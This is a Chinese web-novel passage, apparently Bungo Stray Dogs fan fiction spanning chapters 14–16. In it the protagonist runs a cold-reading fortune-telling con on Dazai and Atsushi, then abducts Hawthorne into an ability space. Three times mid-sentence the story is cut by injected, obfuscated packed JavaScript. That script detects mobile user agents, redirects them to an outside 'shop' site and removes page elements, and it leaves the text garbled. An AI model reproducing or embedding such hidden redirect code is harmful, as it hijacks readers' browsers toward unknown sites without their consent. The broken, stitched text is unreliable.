“你应该知道等价交换的平衡原理,如果我们想要插手别人的命运,就需要别人付出一定的代价,这样缔结了因果契约,就有了可以理所当然出手的机会,在现在这个社会,最普遍、也最小的代价是金钱。” 花言目光快速扫过眼前西装已经有些破旧的男人,说出了一个数字,“基于你的情况,只需要五千日元就好。” 男人热切的视线一下子冷却了,说到底还是要钱的骗子吧。 他表情重归疲倦,有气无力地摆了摆手,“谢谢你,但是算了吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304393|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在他即将转身离去的瞬间,身后那道那道清冷的嗓音再次响起,像是在注视一个愚昧的人走上不归路那样,透着遗憾。 “你确定要走吗?就连重要之物都在那一次争吵中遗失了,你还想失去更多吗?要一直在沼泽中浑浑噩噩吗?” 男人身体僵住了,他指尖不自觉地覆上那处本该戴着戒指的地方。 “我……” 他嗓音颤抖着。 像是在做什么巨大的心理斗争,男人最终回过头,从起了毛边的劣质皮夹钱包里抽出了几张零碎的纸钞,双手鞠躬递给了对方。 “还请告诉我解决方法!拜托了!我不想……再这样下去了!” 比想象中的要容易一些。 花言唇边笑容越发真温和,他接过对方手中的纸钞,“当然,我一定会帮你解决问题的。” 随手把钱放进了口袋后,他斗篷下的手中复制出了一支钢笔以及一个本子,“那么,首先,先生,你能告诉我一下你想要解决的方式吗?” “解决的方式?”男人迷茫地询问,“我还能选择这个?” 花言煞有介事地点了点头,“当然,如果你痛恨苦难源头,我就会帮你把源头根除,如果你只想回归平常,那我就会驱逐你身上缠绕的霉运。” 这番话说的隐晦不明,男人有些云里雾里,“我只希望我的上司不要再那么刻薄,多少也理解一下他人的感受,希望我的妻子能够体谅我的难处。” “原来如此,看起来要涉及到两个地方呢。”花言笔尖点了点手中的本子,“方便告诉我,你的住处和工作地点吗?” 男人又一次警惕起来了,“你要这个做什么?如果你真的什么都知道,应该不用问我吧?” 花言没忍住低笑了两声,没有嘲笑意味,更像是单纯在为对方的话而感到无奈。 随后他笑容一收,面无表情地说道:“那是额外的价钱。” 言下之意是想要让他算这个需要多付钱。 这番回答虽然有些离奇,但却意外的有道理,男人相信了这个说辞,并在纸上写下了地址,写完他又有些后悔,犹豫着想要划掉,但花言手疾眼快地收了回来,于是男人只能迟疑地再次确认。 “你真的会帮我吗?” “真的。” “那你什么时候才能驱逐我身上的厄运?” “大概一周吧。” “这样啊……那我什么时候才能再见到你?或者说我怎么联系你?” “靠缘分,如果你的问题没能解决,我们自会相见。” “好……好的……” 男人一步一顿地离开,近乎一步一回头。 花言注意到了对方的动作,他朝对方挥了挥手当做安慰,也许对方此刻已经再次怀疑自己是不是上当受骗了,可哪怕反应过来了也没什么用,毕竟什么都给出去了。 系统默不作声地观看了全程,并试图去解析自家宿主言语中的真假和行为举止用意,结果却发现解析不出来。 它抱着求学心态发出询问,【宿主,你真的会算命吗?】 它没检测到对方使用「超推理」,对方也没有复制一些什么奇奇怪怪的东西。 这样一来,对方会的技能是不是有点太多了?!这也是它所不知道的副业吗?! [不会,算命什么的都是我编的,他遇见的烦恼是我从他颓靡的神色和一直无意识触碰指根处环形的色差猜出来的。] 花言眼睛都不眨一下,[这其实算是一种心理暗示,只要他不是一副兴高采烈的模样,那只要说倒霉,他就会想起来最近遇见的所有糟心事。再加上能够对社畜造成打击的东西大部分源于工作和家庭,没有社畜会喜欢工作,所以只要确认家庭因素,工作就只是顺带的而已,既然他没有反驳我说他跟妻子吵架的话,就说明他们确实吵架了,至于在吵架中遗失的重要之物……我又没详细说是什么,他自己会帮我补全的。] 听了一番分析,系统简直要同情这个男人了,【那宿主……他真的有血光之灾吗?而且而且……如果你不会算命的话,你要怎么帮他驱逐厄运啊?】 [哦,血光之灾这个东西说大可大说小可小,毕竟如果切菜不小心切到手了也算是血光之灾对吧?更何况我也没说血光之灾什么时候来,十年后也有可能对吧?] 花言心满意足地摸着口袋里的钱,十分好说话。 [至于怎么帮他驱逐厄运,他不是已经说出来了吗?我只要帮他教训一下上司,再了解一下他家庭中所遇见的问题,并帮他解决就好了,毕竟——我也不是那种拿钱不干事的骗子……] 花言指尖刚搭上帽檐,准备戴上兜帽离开,只听一道熟悉的声线忽然响起。 那道声音带着恰到好处的好奇和遗憾,细听还能听见因遇见了什么有趣的事情而裹挟上的笑意。 “欸……你这要走了吗?可不可以给我们也算一下?我们也很好奇未来会不会有血光之灾呢。” 花言下意识转过头,映入眼帘的是一名穿着驼色风衣的黑发男人,以及一名看起来像是拿对方没办法而欲哭无泪的白发少年。 那两人就站在不远处,不知道已经看了多久。 花言突然陷入了沉默。 并在脑海里跟系统说,[你看,我不会算命的证据喜加一,如果我会算命,我肯定会算今天适不适合当‘算命仙人版雇佣兵’。] 14.第 14 章 横滨最近有些不太平,甚至可以说是有些诡异,最近发生的事件虽然没到能够引起大范围伤亡的地步,但每件事却都有些让人摸不着头脑,不仅无法判断这些事是不是都出自同一人之手,同样也无法看出对方干这些事的目的是什么。 先是港口mafia的仓库忽然失窃,花费大价钱购入的货物在严密看守下不翼而飞,当时搜查的动作大到让横滨所有上班族都不敢再加班,却仍旧一无所获,至今还没找到罪魁祸首。 后是横滨突然出现的异能者杀手与擂钵街的暴乱,擂钵街的混乱程度众所周知,就连横滨官方组织都对那个地方视而不见,是名副其实的“垃圾堆”,而这次的暴乱却不同于之前零零散散的混混组织乱斗,更像是一场有组织、有预谋的大规模暴乱。 这场暴乱的起因是——寻找“茶泡饭之神”。 这个神名有点怪,怪到太宰治听说这件事时第一反应是会不会是有人在搞恶作剧,甚至打趣武装侦探社里喜欢吃茶泡饭的后辈问对方是不是也偷偷信奉了这个神。 可在调查后发现,这并不是恶作剧。 擂钵街大部分的居民都坚信不疑地信奉着这个“茶泡饭之神”,而小部分则对这个“茶泡饭之神”持排斥态度,并说对方其实是“茶泡饭怨灵”。 信仰有分歧这很正常,因此异常的地方在于没有一个人怀疑“茶泡饭之神”是否真的存在。 擂钵街所有人都见过这个“茶泡饭之神”,而两方说辞在描述对方时唯一的共通性只有——祂穿的一身白并且神出鬼没,还能拿出无穷无尽的茶泡饭。 “茶泡饭之神”在擂钵街出现的时间只有短短数月,在这短短数月里,擂钵街的居民早已习惯了对方的存在,并产生了热烈的信仰。 因此在“茶泡饭之神”忽然消失后,信仰着对方的擂钵街居民逐渐陷入了恐慌,他们认为是自己做错了什么,或者是“茶泡饭之神”出现了什么意外,所以才无法出现。 于是他们想方设法地去做传闻中任何能够让神明获得神力的事情,比如说堆砌祭坛、描摹画像,又或者是大肆宣传“茶泡饭之神”的神迹,并建设了一个“飞天茶泡饭神教”。 这股狂热的喧嚣在擂钵街愈演愈烈,直到已经影响到了周边地区使得官方不得不出手控制。 由于这股浪潮掀起的过于诡异,还透着些许像是恶作剧般的滑稽,再加上横滨最近出现的异能者杀手,让官方组织怀疑是不是背后有异能者捣鬼,因此委托了武装侦探社调查。 只不过查了好几天,他们还是一无所获,他们找不到任何有关“茶泡饭之神”的踪迹,而那些信徒口中能够证明对方存在的证明也只不过是吃完茶泡饭后剩余的空碗,以及一张像是白色开花肠的画像。 这让太宰治有些怀疑这个“茶泡饭之神”会不会只是异能者用异能构成用于挑衅横滨官方的幻影,直到现在—— ——他在回武装侦探社的路上看见了一个正在跟普通上班族交流的雪白背影。 后者雪白的长发顺滑的垂落到腰间,纯白的斗篷把对方剩余的身体遮掩的严严实实,从背后乍一眼看过去,模糊的轮廓像极了画像中的白色开花肠。 太宰治原本以为那个画像是抽象派,没想到居然是写实派。 他不动声色地打量着眼前的青年,后者虽然奇怪地戴着墨镜,遮住了部分面容,但他依旧能够从剩余的地方看出些许熟悉感。 “奇怪……”太宰治捏着下巴,像是认真在回忆,“我们是不是在哪里见过?” 花言:…… 好吧,他承认自己确实有些刻板印象,也过于抱有侥幸心理了,本来以为换个发色和瞳色大概率不会有人认出自己呢,现在看来这里不是那种所有人都会选择性失明或者降智的世界。 既然如此,那他想在喝下午茶顺带跟费奥多尔偶遇来个正常攻略开局的计划就要取消了。 花言面不改色地回道:“不好意思,这种搭讪方式已经过时了。” “另外……”他顿了顿,似乎是在思考一个合理的借口,“我们无缘,所以我不会插手你们的命运。” “别这么说嘛,我觉得我们很有缘哦。” 太宰治唇边荡开了笑容,他煞有介事地说明,“刚好我们在为一件毫无头绪的事情困扰,就看见了你在为那位先生驱逐厄运……嗯,或者说是‘算命’?你不认为这一场相遇就很有缘分吗?说不准就是命运让我们相遇,将你推到我们面前替我们解惑的呢?” “……缘分也有孽缘。”花言指尖摩挲着兜帽边缘,最终还是戴上了。 本来费奥多尔就已经足够棘手了,再加上最近港口mafia的事情,他并不想再引起其他人的注意了。 “诶——”见对方似乎铁了心要离开,太宰治遗憾地拖拽着音调,“不要这么无情嘛——” 原本看对方并不想给他们“算命”以为钱包逃过一劫的中岛敦,见到现在太宰治一副非要对方算命不可的模样,以防万一地小声确认。 “太宰先生……你带钱包了,对吧?” “问得好,敦,其实我之前带来了,后来不小心弄丢了,可能是随波逐流的时候被水冲走了,不过没关系!” 太宰治伸手搭上了对方的肩膀,语气透着后辈已经成长的十分可靠的欣慰,“毕竟还有你。” 中岛敦:…… 他就知道会这样。 中岛敦没能忍住内心的吐槽,一时嘴快说了出来,“但是太宰先生,这根本就是骗子吧!你看刚刚走掉的那个男人分明就是后悔了,一步三回头,绝对后悔了吧!” 中岛敦的声音已经放的很低了,只可惜现在这条街道没什么人,因此哪怕一点风吹草动都被放大的数倍,更别提交流的声音了。 正当太宰治准备提醒中岛敦对方能够听见时,清冷的嗓音忽然响起。 “我改变主意了。” 花言回过身看向两人,平静的语气中带着不甚明显的不悦,“我可以给你们解惑,不过一个问题一万五,只负责回答问题,不负责解决。” 怎么能用“骗子”这个词汇来侮辱他!他还没坏到那个地步好吗?! 他从别人那里拿钱只拿光明正大的施舍,要不就是当各个版本的“雇佣兵”,总之绝对不会行骗的! 中岛敦错愕地睁大了眼睛,悄悄算了一下,惊恐地发现对方居然翻了三倍! 是记仇了吧!绝对是记仇了! 早知道他就不吐槽那一句了! 与中岛敦崩溃反应截然相反的是太宰治,后者缓缓眨了眨眼睛,没预料到对方会是这样一个有些小心眼又容易被激将的单纯性格,只是因为一句怀疑就非要证明自己不可,证明的同时还不忘报复一下。 这样看来,这次事件说不准没有想象中的那么复杂。 太宰治似喜出望外般拍了一下中岛敦的肩膀 “听见了吗?敦?太好了,他愿意了哦!” 中岛敦绝望地看了对方一眼,他听见了,但是好在哪里了啊?! 好在他们成为了那个赶着被骗的冤大头了吗?! 然而太宰治选择性忽略了后辈的绝望目光,“好了,敦,现在到你展现可靠一面的时候了!” 中岛敦全身都在抗拒着拿出钱包,但显然他的前辈并不是在询问他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314593|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只见对方手中不知何时出现了一个花色熟悉的钱包,下一秒惊叹声随之响起。 “真是意外呢,居然够我们问五个问题。” 五个……? 有这么多问题要问吗?! 中岛敦宛如被雷劈了一样,他一点点抬起头看向对方,其目光绝望中透着震惊,仿佛在震惊对方是怎么用这种兴奋轻松的口吻说出这种恐怖至极的话的。 意识到自己好像有些逗弄过头了,太宰治连忙安慰道:“没事的,敦,过几天发工资我会还你的,现在就当做暂时借我的,怎么样?” 说着他转过身看向眼前的白发青年,后者已经戴上了兜帽,兜帽遮住了他大部分面容,只剩下白皙的下颚与几缕雪白的发丝从宽大的斗篷缝隙中露了出来。 花言旁观了二者交涉的全程,见太宰治注意力重新回到了他身上,知道对方已经做出了决定,所以他干脆地伸出了手。 太宰治也从善如流的从钱包里取出了对应金额交给对方,并问出了问题。 “这位先生,请问我们未来有血光之灾吗?” 太宰治口吻亲切又真诚,如同这个问题对于他来说相当重要。 花言面不改色,“有。” 问就是有。 太宰治更激动了,又拿出一个问题的金额交给对方,“它要什么时候才会来?我会死吗?” 花言毫不客气地收下了钱,并选择性地只回答了后一个问题,“不会。” 太宰治有些失望,像是扎破的气球,发出一声无力的叹息,没有再去问什么时候来,仿佛在得知不会死之后就对这个问题失去了兴趣。 他萎靡了一会儿,又重整旗鼓,“既然这样,那请问我什么时候会死?” 花言盯着对方沉默半晌,他觉得对方想要死可能很难,但如果直接告诉太宰治他会寿终正寝,那对于对方来说似乎有点像诅咒了。 于是他将对方这个问题的钱推了回去,“抱歉,这个问题过于沉重了,毕竟知道了死亡时间就能够更改命运,所以我不能告诉你。” “怎么这样……”太宰治失落地垂下了脑袋,一头卷翘的黑发仿佛也塌了下去,他看向身侧的中岛敦,“我没什么问题想问了,敦,你呢?” 中岛敦还在心痛自己的钱居然就问了这么几个无关紧要的问题,猝不及防听见对方询问,一时之间没能反应过来,他愣了一下。 “诶?我也……” 还没等他说完,只见眼前的前辈仿佛是想起了什么很重要的事情,一脸坚毅地对自己点头,随后保证。 “我知道你想问什么了,敦,放心吧,你不好意思问的就由我这个前辈来替你说出口!” 什……什么? 中岛敦大脑有些转不过来了,他有什么想问的,但是是自己不知道的吗? 太宰治说完这番话,又扭过头再次掏钱给花言,并摆出了一副难过不已的样子。 “是这样,听说前段时间擂钵街出现了一个‘茶泡饭之神’,只要信仰他就能有吃不完的茶泡饭,我这个后辈非常喜欢吃茶泡饭,所以一听到这个消息他就迫切地想要前往擂钵街,但可惜的是当时他工作太多没能抽出空去,直到近几天他好不容易有空了,却收到擂钵街的‘茶泡饭之神’已经消失的噩耗。” 太宰治说到这里甚至擦了擦眼角,仿佛真心实意地在为自己后辈感到惋惜和绝望,“所以这位先生,你知道‘茶泡饭之神’现在在什么地方吗?” 花言沉默地看向中岛敦,只见后者一脸震撼和茫然,满脸写着“啊?我吗?”,显然太宰治这番无中生有的发言和浮夸的表演让对方有些措手不及。 15.第 15 章 花言觉得对方归根结底可能只是想问自己这一个问题,并且肯定已经怀疑自己就是擂钵街的那个“茶泡饭之神”了。 这样看来,擂钵街附近的异常极有可能也跟这件事情有关。 虽然他不知道具体发生了什么,导致对方在意起了这件事,不过没关系,他之后悄悄潜入擂钵街去调查一下好了。 “知道。”花言干脆利落地回答。 这种光明磊落的反应让太宰治有些意外,他等了一会儿没等到对方接下来的话,抬起眼眸发现对方俨然一副已经结束了回答的模样,他逐渐意识到了什么。 “这是不是有点太严谨了……” 太宰治一边小声吐槽,一边无奈地再次拿出了一个问题的金额递给对方,“那么请问他在哪里呢?” 花言没有接对方的钱,他毫不心虚地推了回去,“抱歉,我拒绝回答你这个问题。” 然而哪怕花言拒绝回答这个问题,太宰治也已经证实了自己的猜想,倒不如说,他们都已经对这个答案心照不宣,距离得到有力证据,缺的只是花言的承认而已。 同样,这也并不影响太宰治借题发挥控诉一下对方,“哇……这算赖皮吧。” “这怎么能算赖皮?我都没有收你钱。” 花言像是找了个直观的理由解释了,又像是在模糊概念说了毫无意义的废话,并赶在对方想要继续争辩这个问题前转移了话题。 “你还有什么其他问题吗?” 太宰治果然没有继续跟他继续争论这个没什么价值的话题,只见眼前的黑发男人状似沉思般再次问道。 “那可以告诉我,那位‘茶泡饭之神’的目的吗?” “目的?” 花言重复了一声,旋即轻轻笑了笑,“没有目的,硬要说的话,大概是为了整治擂钵街流浪汉生态环境吧。” 结合对方之前表现出的性格,太宰治当然能够分辨得出对方这句话是真话还是假话。 “茶泡饭之神”确实没有给横滨造成什么损失,他们也没有从那些流浪汉嘴里听到什么可疑之处,对方做的最过分的事情或许只有强迫那些靠乞讨骗人钱财的人一直吃茶泡饭。 也正是因为知道这句话可信度很高,太宰治才陷入了诡异的沉默,他有点不明白为什么对方来到横滨第一件事情是去整治擂钵街流浪汉生态环境,不过异能者都各有各的、常人无法理解的爱好,所以哪怕不理解,他也表示尊重。 但…… 果然还是很在意啊! “他……为什么后面突然不整治了?是因为改造好了吗?”太宰治没忍住发散出了好奇心。 “这也是需要解惑的内容吗?”花言瞥了眼对方手里的钱包,暗示意味相当明显。 太宰治接收到了暗示,他低头看了看包里仅剩的两万多块,有些艰难地捂住了心口在取舍,并发出了十分想念自己其他同事的感叹。 “要是这个时候国木田在就好了。” 中岛敦:…… 因为国木田先生在的话,能够问的问题就变多了是吗? 不对,如果国木田先生在,现在肯定已经因为这种挥霍行为而给太宰先生两拳了吧! 太宰治没有注意身旁的后辈正在心里狠狠吐槽自己,他深深地叹了口气,忍痛放弃,“不,还是算了。” 中岛敦闻言松了口气,以为自己可以留下这最后这点钱,但没想到太宰治很快又提出了一个新的问题。 “你知道袭击港口mafia仓库的人是谁吗?” 现在擂钵街流浪汉的生态环境并没有完全整治好,因此对方肯定是出于某种原因才离开的擂钵街。 有这样的能力,来到横滨显然不会是专门为了整治擂钵街流浪汉生态环境,对方肯定有其他深层的目的。 横滨近期所发生的——能够符合对方时间的重大事件只有两个,一个是异能者杀手,一个是港口mafia仓库的失窃。 对方身上没有血腥味,也没有想要遮掩什么的浓重香气,近期应该没杀过人,可以排除是异能者杀手的可能,这样只剩下一个事件了。 太宰治目光有些微妙,他上上下下再次打量了对方一番。 花言忽然觉得自己收一万五有点太亏了,这才几个问题啊?太宰治就快把自己来横滨干的所有事扒的一干二净了。 内心的崩溃被平静的面庞掩盖,托兜帽的福,对方最起码看不见他太多的微表情。 “抱歉,这个问题过于危险了,我并不想招惹上什么危险组织的注意。” 这是最为合理的推拒,也是所有回答中嫌疑最小的回答。 毕竟横滨现在确实有其他势力进入,无论是那些势力,还是港口mafia,都十分危险。 太宰治若有所思地应了一声,原本确定的答案又变得摇摆不定了起来。 不过港口mafia的事情跟他也没什么关系,问这个问题也只是出于想要了解对方的基础,或者说,对于港口mafia仓库的失窃他乐见其成。 于是太宰治表示理解地点头,“说的也是呢,我目前没有其他难题了,谢谢你的解惑,无所不知的算命先生。” 最后一句话裹挟着意味深长的语调,花言没有太过在意,他草草一点头,想甩开对方的念头在此刻越发迫切。 “没事,既然如此,我就先离开了。” 太宰治没有再阻拦,而中岛敦看着钱包里省下的两万多日元,提起来的心终于缓缓放了下去,他脸上浮现出劫后余生的喜悦。 太好了,他不用愁该怎么熬过发工资前的那段时间了,他差点以为自己真的要靠剩余的零钱度日了。 太宰治看着中岛敦喜悦的表情也很宽慰,“真是太好了,敦,在这场占卜里没有任何人受到伤害,我们还解决了‘茶泡饭之神’的案件。” “啊?” 这句话里信息量让中岛敦脸上的喜悦停滞了一瞬,大脑陷入了一片空白。 “茶泡饭之神”是什么时候解决的?他怎么不知道? 中岛敦下意识看向那个在夕阳中渐行渐远的雪白身影,后者斗篷的下摆伴随着走动而时不时变宽,远远看过去,像极了…… 这一刻,对方的身影仿佛与他们在擂钵街所看见的“白色开花肠”画像融为一体。 中岛敦似确认般看向了太宰治,后者露出了一个欣慰的表情。 “终于反应过来了吗?” “诶?……诶??!” 中岛敦眼眸逐渐睁大,他像是言语功能出现障碍了似的,张着嘴不知道该说些什么,肢体动作倒是顺畅无比,手指着那个已经消失的身影,又指了指自己的钱包。 “你是想问我为什么要通过这么迂回的方式吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14324058|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 太宰治一眼就看出了对方的意思,他笑容满面,“当然是因为很有意思,我还是第一次遇到什么都知道的算命先生呢!敦,你不问点什么真是亏了哦!” “太宰先生……” 中岛敦麻了,他手指无力地垂下,只用目光幽怨地谴责这个因为有趣在谈笑间花了自己近半个月工资的前辈。 “好了,不开玩笑了,敦。” 太宰治目光看向那个白色身影消失的方向,正色道:“其实是因为贸然戳破对方会打草惊蛇,在我们不清楚对方任何信息的情况下,如果直接说出对方身份,可是很危险的哦,万一对方是那个异能者杀手怎么办?在这种情况下我们两个人都要死翘翘呢……好像这样也不错。” 太宰治说着仿佛才意识到自己错过了什么,漂亮的脸上浮现出几分沮丧。 中岛敦对太宰治时不时冒出的自杀爱好已经习以为常,他略过了对方最后一句话,“原来是这样……?” 其实这个回答也不是真话,但也不算是假话,太宰治只告诉了对方其中一个方面,他会选择这种迂回的方式,更大的原因是他认出了那个“白色开花肠”就是突然出现在「骸塞」里的黑发青年。 他曾在白雾事件结束后调查过对方,可奇怪的是完全查不到对方任何踪迹,就像是随着白雾一起消失了一样,直到现在,对方再一次出现时完全变了个发色,整个人也像是畏光一样遮的严严实实。 在跟对方交流后,他也确定了一件事——对方确实认识自己,当时在「骸塞」感受到的并不是错觉。 太宰治思绪一闪而逝,他看着眼前将信将疑的白发少年,伸了个懒腰。 “总之确认了对方不是那个异能者杀手,对于擂钵街所发生的事情也是无心之举,真的是太好了。” 这是怎么确认的啊?! 中岛敦大为震撼,如果他没记错,对方好像才问了四个问题吧?! 难道对方说的确认指的就是直接询问吗?! 这样得到的答案真的靠谱吗?! 中岛敦犹豫地看向太宰治,后者双手插在风衣口袋里,悠闲的模样像是已经解决了棘手的工作打算下班回家了。 虽说对方有时候会上演突然失踪,但大体来说还是非常可靠的,既然这样……那对方说解决了应该就是解决了吧? 中岛敦有些不确定的想着。 说起来不愧是被称为“茶泡饭之神”的男人,果然恐怖如斯,只用四句话就让太宰先生花了六万。 ……不对! “但是擂钵街的骚乱还是没有解决啊!太宰先生!”中岛敦朝已经悠哉悠哉晃走一段距离的太宰治喊道。 太宰治头也不回地摆了摆手,“哦,那种事情就不是我们负责的范围了,反正造就这一切的源头是无心之举,那无论是开始整顿擂钵街成为新的‘茶泡饭之神’,还是找到旧‘茶泡饭之神’谈合作让对方继续呆在擂钵街,全部都是官方那边要操心的范围了,擂钵街变成现在的模样也有他们的问题在,让他们自己头疼去好了。” 中岛敦一时失语,不过仔细想想好像也有道理。 在这个间隙里太宰治脚步加快,迅速消失,当后者意识到对方还有总结报告没写时,却发现视野里早已失去了对方的踪影。 被黄昏笼罩的偌大街道,空旷得只剩他一个人孤零零的站在原处。 16.第 16 章 昏暗狭窄的巷子口,有一道雪白的身影静静伫立在那里,巷子深处被灰黑的阴翳笼罩,只能看见有一个人形的轮廓模糊地站在灯光与阴影的交界处,两者像是在无声对峙,谁都没有先开口。 花言注视着对方被路灯所散发出的余光勾勒出的黑袍边角处时不时往下滴落的粘稠猩红,逐渐陷入了深深的思考。 他原本是想在太宰治他们的视野里走远消失,出于保险起见,再转进空无一人的小巷用「细雪」掩盖身形,最后悄悄去擂钵街调查那里究竟发生了什么。 但是现在这个完美的计划卡在了中间,比如说这并不是空无一人的小巷,再比如说他遇见这个——像是杀了人正在逃离犯罪现场的罪犯,似乎是「组合」的那个神父——纳撒尼尔·霍桑。 他记得这个时间点……「组合」神父的任务好像是在当异能者杀手。 其实跟对方遇上了也没什么,对方杀不了他,战斗起来顶多受点伤,因此真正让花言在意的是另一件事。 他表情凝重地捏着兜里意外收获的纸币,怀疑起他的运气是不是开始遵循了运气守恒定律,似乎自从遇见了系统,他一贯被神青睐的好运就变得不稳定了起来,像是幸运被霉运中和了似的。 比如说擂钵街“茶泡饭之神”的事情,又比如说他跑遍了费奥多尔在横滨的据点都没有找到后者丝毫踪迹的事,再比如说现在。 虽然“茶泡饭之神”的事情给他带来了资金,但后面这些事情能他带来什么呢?勇士的勋章吗? 花言一边提防对面会暴起攻击他,一边暗中选择异能准备逃跑。 忽然,他像是意识到了什么。 不对。 这严格来说也不算倒霉。 既然他打算拖延费奥多尔的入狱计划,为此想要在最后咖啡店下药那一步前多准备几个保险,那他现在完全可以先绑架霍桑,让对方没办法对武装侦探社社长下手,这样费奥多尔的「共噬」计划不就需要重新布局了吗?时间不就拖延出来了吗? 花言逃跑的想法瞬间逆转,他反客为主,准备将对方拖进「安妮的房间」。 「深渊的红发安妮」发动距离有限,他必须再靠近一点对方才行。 在花言有所动作的那一刻,霍桑也像是察觉到了什么,滴落在地的猩红血液瞬间被施加异能拔起,尖锐而又锋利,像是拖拽着光尾的长枪来势汹汹。 花言无视了那些朝他袭来的血弹,一层赤红围绕身体的轮廓蔓延,速度在重力的调整下提升至最高朝对方冲去。 反正那些攻击他躲也不一定能躲得掉,不如全部交给运气,如果运气不好重伤濒死了还能用「请君勿死」治好,因此不如直接拉进他们之间的距离。 浮动着金色文字的血弹擦过花言身侧钉入身后的墙面,过快的速度卷起的气流将花言盖的严严实实的兜帽吹到了身后,雪白的发丝在黑袍人假面背后无神的瞳孔中扬起。 狩猎者与猎物的逆转仅在一瞬间。 黑袍人哪怕反应过来想要踏着血弹拉开距离也已经来不及了,被重力加持的速度早已超过了普通人能够达到的范畴。 此刻他们之间的距离虽然不够触碰到彼此,但足够花言将对方拉进「安妮的房间」了。 金色的光芒一闪而逝,巷子里瞬间失去了两人的身影。 梦幻的粉色调房间出现在霍桑眼前,他麻木空洞的眼眸毫无波动,像是已经遗忘了这个本该熟悉房间,也像是对此毫不在意。 他抬起手想要再一次对眼前的异能者发起攻击,然而没等指尖的血液凝聚而出,一个巨大的木偶娃娃凭空出现在他身后,一把将他拖进了最深处的房间。 一切都非常顺利。 花言安心地检查了一下自己衣物,确认没有粘上什么血迹后,解除了异能重新出现在巷子里。 他抬起头环视了一圈,巷子里安安静静,既没有行人路过,也没有监控摄像头,乱七八糟的杂物堆积在角落,连一只流浪猫都未曾出现,属于夜晚的静谧掩盖了所有。 这样一看,这里实在是个犯罪的好地方。 花言伸手将兜帽下的墨镜推到了头上,视野瞬间清晰了许多。 之前一直怕出声让宿主分心导致受伤,而被迫安静的系统见战斗已经结束冒出了头,【宿主,接下来你是要去找咖啡店吗?】 [你见过大晚上去喝咖啡的吗?] 花言对系统在人类常识方面的知识匮乏又有了新的认知,不过看在终于做成了一件能够拖延「共噬」计划事的份上,他心情很好地告诉了对方答案。 [接下来我们去擂钵街,看一下到底发生了什么,怎么突然间他们都知道“茶泡饭之神”的事了。] 花言身影重新被「细雪」掩盖,他慢吞吞地朝擂钵街走去。 [如果真的影响那么大,那应该挺好调查的。] 【我觉得这件事情有点奇怪,明明宿主你只是在擂钵街发茶泡饭而已,为什么他们会突然调查?】 系统早在听见太宰治问出“茶泡饭之神”时就紧张地屏住了呼吸——哪怕它不用呼吸,生怕自家宿主一个露馅,他们就要被抓走去蹲局子,进而被发现是黑户,然后牵扯出一系列问题。 [确实有点奇怪。] 花言时不时绕过地上一些容易留下脚印的区域,一心二用地跟系统聊天,他随口说道,[总该不会是港口mafia怀疑到我头上了,又或者是之前去费奥多尔据点踩点被他察觉到了吧?因为他们的动作,所以才引起了武装侦探社的注意?] 毕竟他这些天干过的亏心事就这两件。 港口mafia应该是没有发现他的,当时做的很干净,哪怕留下线索也是他们自家人的身影,只不过…… 花言想到太宰治问他的最后一个问题又有些不确定了起来。 而第二件事——他去费奥多尔据点踩点的事,对方就算察觉到了应该也怀疑不到他头上,他吸取了船上的教训,不止用异能掩盖了身形,走时还不忘一边走一边擦痕迹,保证连个指纹都没留下,但是…… 花言又想到拐角遇见「组合」神父的事,再次不确定了起来。 [马路牙子啊……] 花言心事重重地问,[你说我该不会其实是倒霉蛋子吧?] 系统显然没明白对方话里的意思,【你不是花岗岩子吗?】 花言:…… [你其实在偷偷升级吧?现在都会说冷笑话了。] 【什么是冷笑话?】系统不明所以。 [好了,现在更冷了。] 花言面无表情地拢紧斗篷,抬起头看向夜空,每一次他要干什么见不得人的事时,天总跟要下雨了似的,阴沉沉的不看见月光,只有零星几颗碎星在云层后若隐若现,也不知道究竟是干坏事遭天谴的预兆,还是他的好运在这种奇怪的地方发力了。 …… 昏暗的房间被来自于电子屏幕的无机质冷光照亮,屏幕中像是信号不良般跳动的雪花斑点让房间内的所有物品轮廓都变得时而清晰时而模糊。 坐在电脑前的紫眸男人注视着屏幕中监控信号的中断下意识啃咬起指尖,本就苍白的面容在跳动的黑白光点下裹挟上了几缕孱弱无比的病态气息。 就在刚刚,他在「组合」神父上放置的监控定位消失了,确切来说,是在那个一身白的“不速之客”靠近的那一刹。 是被异能连人一起抹消掉了,还是被转移到了异能空间里? 费奥多尔指尖点下倒回键,又从头看了一遍霍桑遇见那个白色身影的全部经过,他们相遇的时间很短,不到十分钟,甚至这十分钟里,还有一半时间在对峙——两者都像是没想到会遇见,所以不知道该做什么一样。 这样看来或许对方并不是专门为了霍桑而来,而是在那几分钟的对视中忽然产生了攻击的想法。 